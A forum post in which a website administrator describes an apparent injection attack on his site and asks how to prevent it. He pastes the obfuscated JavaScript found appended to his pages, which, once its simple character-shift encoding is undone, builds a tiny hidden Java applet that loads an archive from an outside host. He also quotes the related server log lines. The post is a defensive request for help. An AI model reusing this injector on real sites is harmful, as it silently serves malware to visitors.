I have been hit by an Cross Site Scripting / XSS / RFI Attack, where I cant find it anywhere in the source of the files and Hashes on files have not been changed according to OSSEC HIDS that I run real time monitoring on all webdirs.

The Attack happens on IE9 Only it and appends java script code like beneath, notice that it starts after /html> tag closes normally. :

scXXpt language="javascXXpt">var enuwjo = function(gqumas, yhxxju, zbkpilf, xzzvhld){var xew = function(iso) {var crh, eaq, i; var owb=""; crh = iso.length; for (i = 0; i < crh; ++i) {eaq = iso.charCodeAt(i)-2;owb = owb + String.fromCharCode(eaq);} return(owb); }

var janlq=document.createElement(xew("crrngv"));janlq.setAttribute(xew("eqfg"), xew(gqumas));janlq.setAttribute(xew("ctejkxg"), xew("jvvr<11"+yhxxju));janlq.setAttribute(xew("ykfvj"), "1");janlq.setAttribute(xew("jgkijv"), "1");var lgtwyi=document.createElement(xew("rctco"));lgtwyi.setAttribute(xew("pcog"),xew(zbkpilf));lgtwyi.setAttribute(xew("xcnwg"),xew(xzzvhld));janlq.appendChild(lgtwyi);document.body.appendChild(janlq); } ; enuwjo("vxfgwtogg0dcrcmnwe0encuu","g{g0o{yge{0kp129;5","mlit{ttmdttponfhrrexihpe","fh;ccfe:85:5d9872;2;f569276h5268ff9;34:25;7d:8:7h8c68777;;822c73");

No code has been changed on file as far as my HIDS says ... but I can see in my Error log, the following...

• File does not exist: /var/www/vhosts/superkids.dk/ggtest/tvdeurmee

In the Access log, the following

• IP - - [09/Jun/2012:23:30:13 +0200] "GET /tvdeurmee/bapakluc.class HTTP/1.1" 404 504 "-" "Mozilla/4.0 (Windows 7 6.1) Java/1.7.0_04" IP - - [09/Jun/2012:23:30:13 +0200] "GET /tvdeurmee/bapakluc/class.class HTTP/1.1" 404 509 "-" "Mozilla/4.0 (Windows 7 6.1) Java/1.7.0_04"

Now... the folder or path /tvdeurmee/bapakluc/ does not exist on the server in question, nor does the Java Class class.class, yet it still looks like an local call to the server and it was getting an "404 File not found / 504 Gateway Timeout" (attack was blocked by local machine, hence the timeout / not found)

Any idea on how to prevent the attack ? Im working on using HTML Purifier, but that might not be the correct idea it seems, according to some replies im getting on their forum :)

Kind regards,

Steven